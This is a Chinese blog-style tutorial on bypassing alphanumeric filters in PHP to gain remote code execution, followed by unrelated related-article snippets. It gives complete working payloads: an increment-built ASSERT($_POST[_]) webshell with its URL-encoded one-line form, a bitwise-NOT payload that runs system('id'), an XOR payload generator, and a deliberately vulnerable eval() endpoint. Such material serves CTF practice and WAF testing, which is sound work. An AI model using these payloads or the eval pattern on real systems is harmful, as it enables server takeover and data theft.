RCE(自增、取反、异或)

自增:

也就是说,`'a'++ => 'b'`,`'b'++ => 'c'`... 所以,我们只要能拿到一个变量,其值为`a`,通过自增操作即可获得a-z中所有字符。

无字母数字构造:
所有敏感字符串(ASSERT、_POST)通过自增动态生成,避免直接出现字母。
超全局变量利用:
通过 $_POST 动态接收攻击载荷。
动态函数调用:
利用 $___(值为 ASSERT)作为函数名调用。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为`Array`:

源码:

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // ASS
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__; 
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__; 

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;  // $_POST

$_=$$____;
$___($_POST[_]); // ASSERT($_POST[_]);

放到一排再url编码之后是:

%24_%3d%5b%5d%3b%24_%3d%40%22%24_%22%3b+%2f%2f+%24_%3d%27Array%27%3b%24_%3d%24_%5b%27!%27%3d%3d%27%40%27%5d%3b+%24___%3d%24_%3b+%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24___.%3d%24__%3b+%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b+%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24___.%3d%24__%3b+%24____%3d%27_%27%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24____.%3d%24__%3b+%24_%3d%24%24____%3b%24___(%24_POST%5b_%5d)%3b+

取反:

在 PHP 中,取反(~) 是绕过字符过滤(如禁止字母、数字)实现 RCE(远程代码执行)的核心技术之一。其核心思想是通过 位运算 动态构造敏感字符(如 system、eval),从而绕过正则过滤。

源码:<?php

// 生成取反后的字符串

$func = ~'system'; // "\x8C\x86\x8C\x8B\x9A\x92"

$arg = ~'id';      // "\xA0\x8F"

// 构造 Payload

$payload = "(~\"\x8C\x86\x8C\x8B\x9A\x92\")(~\"\xA0\x8F\");";

echo urlencode($payload);

PHP 中的取反运算符 ~ 会对字符的二进制位进行翻转(0 变 1,1 变 0)。例如:
~'A' → 结果为 "\xBE"。
若将取反后的字符再次取反,即可还原原始字符:~~'A' → 'A'

1. 目标字符串拆分
执行 system('id'):
system → 拆分为字符 s、y、s、t、e、m。
id → 拆分为字符 i、d。
2. 生成取反后的字符串
通过 PHP 生成取反后的二进制形式:

$func = 'system';
$arg = 'id';
// 取反后的字符串(注意转义)
$func_neg = ~$func; // "\x8C\x86\x8C\x8B\x9A\x92"
$arg_neg = ~$arg;   // "\xA0\x8F"

3构造无字母数字的 Payload
<?php
(~"\x8C\x86\x8C\x8B\x9A\x92")(~"\xA0\x8F"); // 等价于 system('id');

异或:

若 A ^ KEY = B,则 B ^ KEY = A。
通过将敏感字符串(如 phpinfo)与固定密钥(如 0xFF)异或,生成非字母数字字符的 Payload。当服务端对 Payload 再次异或相同密钥时,即可还原原始字符串并执行代码。此方法常用于绕过 a-zA-Z0-9 字符过滤规则。

生成异或字符串
需要执行 phpinfo(),按以下步骤生成 Payload:
<?php
$a = 'phpinfo';
for ($i = 0; $i < strlen($a); $i++) {
    echo '%' . dechex(ord($a[$i]) ^ 0xFF); // 异或每个字符
}
echo "^";
for ($j = 0; $j < strlen($a); $j++) {
    echo '%FF'; // 密钥部分(全 FF)
}
?>
输出:%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF

假设服务端存在如下漏洞代码:
<?php
$input = $_GET['payload'];
list($part1, $part2) = explode('^', $input);
$code = urldecode($part1) ^ urldecode($part2);
eval($code);
?>
URL 解码:
%8F%97%8F%96%91%99%90 → 二进制值 \x8F\x97\x8F\x96\x91\x99\x90
%FF%FF%FF%FF%FF%FF%FF → 二进制值 \xFF\xFF\xFF\xFF\xFF\xFF\xFF

异或还原:
\x8F ^ \xFF = p  
\x97 ^ \xFF = h  
\x8F ^ \xFF = p  
\x96 ^ \xFF = i  
\x91 ^ \xFF = n  
\x99 ^ \xFF = f  
\x90 ^ \xFF = o  

最终还原字符串 phpinfo,执行 eval('phpinfo')。

源码:<?php
function generate_xor_payload($command, $key = 0xFF) {
    $encoded = '';
    $key_part = '';
    for ($i = 0; $i < strlen($command); $i++) {
        $encoded .= '%' . dechex(ord($command[$i]) ^ $key);
        $key_part .= '%' . dechex($key);
    }
    return $encoded . '^' . $key_part;
}
$payload = generate_xor_payload('phpinfo');
echo "Payload: " . $payload . "\n";
// 输出:%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF
// 发送请求(漏洞 URL 为 http://localhost:3000/flag.php)
$url = 'http://localhost:3000/flag.php?payload=' . urlencode($payload);
file_get_contents($url);
?>

异或绕过技术的核心要点
1. 可逆性
异或运算是 对称加密 的基础,两次异或同一密钥可还原原始数据:
$original = 'phpinfo';
$key = "\xFF";
$encoded = $original ^ $key;
$decoded = $encoded ^ $key; // 还原为 'phpinfo'
2. 绕过字符过滤
异或后的字符通常是 非字母数字(如 \x8F、\x97),可绕过正则过滤规则:
preg_match('/[a-zA-Z0-9]/', $payload); // 返回 false
3. 动态执行
通过 eval 或 assert 动态执行还原后的代码:
eval($decoded . '();'); // 执行 phpinfo();

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/75225.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

从架构角度谈谈云原生架构

1、云原生架构起源 随着云服务商的成熟&#xff0c;客户面临着将服务直接使用云平台的服务部署在云平台上&#xff0c;或者采用本地和云上混合部署的模式来对外提供服务&#xff0c;从解决方案的角度来说&#xff0c;采用云原生架构的优点有&#xff1a; 可以利用云服务的管理…

Zcanpro搭配USBCANFD-200U在新能源汽车研发测试中的应用指南(周立功/致远电子)

——国产工具链的崛起与智能汽车测试新范式 引言&#xff1a;新能源汽车测试的国产化突围 随着新能源汽车智能化、网联化程度的提升&#xff0c;研发测试面临三大核心挑战&#xff1a;多协议融合&#xff08;CAN FD/LIN/以太网&#xff09;、高实时性数据交互需求、复杂工况下…

【Verilog】实验十 带倒计时交通灯控制电路设计

目录 一、实验目的 二、实验环境 三、实验任务 四、实验原理与实验步骤 1. 实验原理 2. 实验步骤 五、实验思考 代码 TOP.v trafic2_2.v shumaguan.v clk_div.v 一、实验目的 1. 掌握同步有限状态机的设计方法。 2. 采用状态机的设计方法&#xff0c;设计实现带倒…

Linux : System V 共享内存

目录 一 前言 二 共享内存概念 三 共享内存创建 四 查看共享内存 五 共享内存的删除 六 共享内存的关联 七 共享内存去关联 八 共享内存的使用&#xff08;通信&#xff09; 九 共享内存的特点 一 前言 共享内存区是最快的IPC形式&#xff08;进程间通信&#xff1…

Spring Cloud 2023.x安全升级:OAuth2.1与JWT动态轮换实战

引言&#xff1a;当安全遇上云原生&#xff0c;零停机密钥轮换成为刚需 在微服务架构中&#xff0c;OAuth2.1与JWT已成为身份验证的黄金标准&#xff0c;但传统方案存在两大痛点&#xff1a; 密钥轮换风险&#xff1a;手动替换JWT密钥需重启服务&#xff0c;导致短暂鉴权中断&…

创建私人阿里云docker镜像仓库

一.登录阿里云 https://cr.console.aliyun.com/cn-hangzhou/instances 二.创建个人实例 【实例列表】 》【创建个人实例】 》【设置Registry登录密码】 三.创建命名空间 步骤&#xff1a;【个人实例】》【命名空间】》【创建命名空间】 注:一个账号最多可以创建3个命名空…

oracle基础知识视图的定义和应用

1.1 视图的定义 视图(View)是数据库中非常重要的内容&#xff0c;在实际开发中必须学会视图的编写。 用于产生视图的表叫做该视图的基表。一个视图也可以从另一个视图中产生。视图是可以嵌套的。 视图的定义存在数据库中&#xff0c;与此定义相关的数据并没有再存一份于数据库中…

边缘计算:工业自动化的智能新引擎

在工业4.0的浪潮中&#xff0c;工业自动化正经历着前所未有的变革。随着物联网&#xff08;IoT&#xff09;技术的普及&#xff0c;越来越多的工业设备被连接到网络中&#xff0c;产生了海量的数据。然而&#xff0c;传统的云计算架构在处理这些实时性要求极高的工业数据时&…

12-SpringBoot3入门-项目打包和运行

1、打包 1&#xff09;打包插件 pom.xml <!--SpringBoot应用打包插件--> <build><plugins><plugin><groupId>org.springframework.boot</groupId><artifactId>spring-boot-maven-plugin</artifactId></plugin></plu…

【PCIE711-214】基于PCIe总线架构的4路HD-SDI/3G-SDI视频图像模拟源

产品概述 PCIE711-214是一款基于PCIE总线架构的4路SDI视频模拟源。该板卡为标准的PCIE插卡&#xff0c;全高尺寸&#xff0c;适合与PCIE总线的工控机或者服务器&#xff0c;板载协议处理器&#xff0c;可以通过PCIE总线将上位机的YUV 422格式视频数据下发通过SDI接口播放出去&…

PipeWire 音频设计与实现分析一——介绍

PipeWire 是一个基于图的媒体处理引擎&#xff0c;一个可以运行多媒体节点图的媒体服务器&#xff0c;是 Linux 的音频/视频总线&#xff0c;它管理 Linux 系统中&#xff0c;不同应用程序对音频和视频设备的共享访问。它提供了一个本地客户端音频 API&#xff0c;但也提供兼容…

使用卷积神经网络识别MNIST数据集

卷积神经网络 卷积神经网络本质是共享权重稀疏链接的全连接网络 编写步骤 构建一个神经网络&#xff0c;步骤是几乎不变的&#xff0c;大概有以下几步 准备数据集 #更高级的CNN网络 import torch import torch.nn as nn import torch.nn.functional as F import torchvisi…

力扣125.验证回文串

如果在将所有大写字符转换为小写字符、并移除所有非字母数字字符之后&#xff0c;短语正着读和反着读都一样。则可以认为该短语是一个 回文串 。 字母和数字都属于字母数字字符。 给你一个字符串 s&#xff0c;如果它是 回文串 &#xff0c;返回 true &#xff1b;否则&#…

UR机械臂sim2real推荐包

推荐一个和ur机械臂配套的interface&#xff1a; ur_rtde Universal Robots RTDE C Interface — ur_rtde 1.6.0 documentation 也欢迎大家提供新想法和bug

CST学习笔记(三)MATLAB与CST联合仿真-远场数据批量导出

CST学习笔记&#xff08;三&#xff09;MATLAB与CST联合仿真-远场数据批量导出 一、直接数据导出 &#xff08;1&#xff09;打开远场&#xff0c;调至笛卡尔坐标系 &#xff08;2&#xff09;然后点击post processing → Import/Export → Plot Data (ASCII) &#xff0c;即…

蓝桥杯---BFS解决FloofFill算法1---图像渲染

文章目录 1.算法简介2.题目概述3.算法原理4.代码分析 1.算法简介 这个算法是关于我们的floodfill的相关的问题&#xff0c;这个算法其实从名字就可以看出来&#xff1a;洪水灌溉&#xff0c;其实这个算法的过程就和他的名字非常相似&#xff0c;下面的这个图就生动的展示了这个…

我与数学建模之启程

下面的时间线就是从我的大二上开始 9月开学就迎来了本科阶段最重要的数学建模竞赛——国赛&#xff0c;这个比赛一般是在9月的第二周开始。 2021年国赛是我第一次参加国赛&#xff0c;在报名前我还在纠结队友&#xff0c;后来经学长推荐找了另外两个学长。其实第一次国赛没啥…

利用 SSRF 和 Redis 未授权访问进行内网渗透

目录 环境搭建 ​编辑 发现内网存活主机 ​编辑 扫描内网端口 ​编辑 利用 Redis 未授权访问进行 Webshell 写入 步骤1&#xff1a;生成 payload 方式1&#xff1a;使用python生成 payload 方式二&#xff1a;使用 Gopher 工具 步骤 2&#xff1a;写入 Webshell&#xf…

【Vue2插槽】

Vue2插槽 Vue2插槽默认插槽子组件代码&#xff08;Child.vue&#xff09;父组件代码&#xff08;Parent.vue&#xff09; 命名插槽子组件代码&#xff08;ChildNamed.vue&#xff09;父组件代码&#xff08;ParentNamed.vue&#xff09; 代码解释 Vue2插槽 Vue2插槽 下面为你详…

ORB-SLAM学习感悟记录

orb特征点的旋转不变性 利用灰度质心法求出的质心后&#xff0c;与形心连线所形成的角度如下图所示&#xff1a; 这里容易对上图进行误解&#xff1a; 为了保证旋转不变性&#xff0c;这里注意ORB-slam是利用这个角度旋转坐标系&#xff0c;以新坐标系为标准从图像中采点进行…